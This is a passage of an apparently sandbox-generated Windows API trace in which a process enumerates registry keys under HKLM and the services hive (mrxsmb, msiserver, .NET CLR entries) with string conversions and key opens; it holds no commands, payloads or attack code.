CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxdav", lpUsedDefaultChar=0x0) returned 6 [0239.598] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0239.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb", lpUsedDefaultChar=0x0) returned 6 [0239.598] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0239.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb10", lpUsedDefaultChar=0x0) returned 8 [0239.598] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0239.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb20", lpUsedDefaultChar=0x0) returned 8 [0239.599] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0239.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msahci", lpUsedDefaultChar=0x0) returned 6 [0239.599] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0239.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdsm", lpUsedDefaultChar=0x0) returned 5 [0239.599] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0239.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0239.599] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0239.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0239.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1d60, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 3.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0239.599] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0239.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0239.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1928, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 4.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0239.600] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0239.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msfs", lpUsedDefaultChar=0x0) returned 4 [0239.600] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0239.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x21f1928, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshidkmdf", lpUsedDefaultChar=0x0) returned 9 [0239.600] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0239.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msisadrv", lpUsedDefaultChar=0x0) returned 8 [0239.600] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0239.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0239.600] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0239.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x21f1d60, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0239.601] RegOpenKeyExW (in: hKey=0x150, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0239.601] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0239.601] RegCloseKey (hKey=0x150) returned 0x0 [0239.601] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0239.601] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0239.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0239.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1928, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0239.601] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0239.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0239.601] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0239.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0239.601] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0239.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0239.602] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0239.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0239.602] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0239.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0239.602] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0239.602] RegCloseKey (hKey=0x80000002) returned 0x0 [0239.602] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0239.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0239.602] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0239.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1d60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0239.602] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0239.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0239.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1928, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0239.603] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0239.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0239.603] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0239.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0239.603] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0239.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0239.603] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0239.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0239.603] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0239.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0239.604] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0239.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1928, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0239.604] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0239.604] RegCloseKey (hKey=0x148) returned 0x0 [0239.604] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0239.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0239.604] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0239.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0239.604] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0239.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1d60, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0239.604] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0239.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0239.605] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0239.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0239.605] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0239.605] RegCloseKey (hKey=0x150) returned 0x0 [0239.605] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0239.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0239.605] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0239.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0239.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1d60, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0239.605] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0239.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0239.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1928, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0239.605] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0239.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0239.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1d60, cbMultiByte=29, lpDefaultChar=0x0, 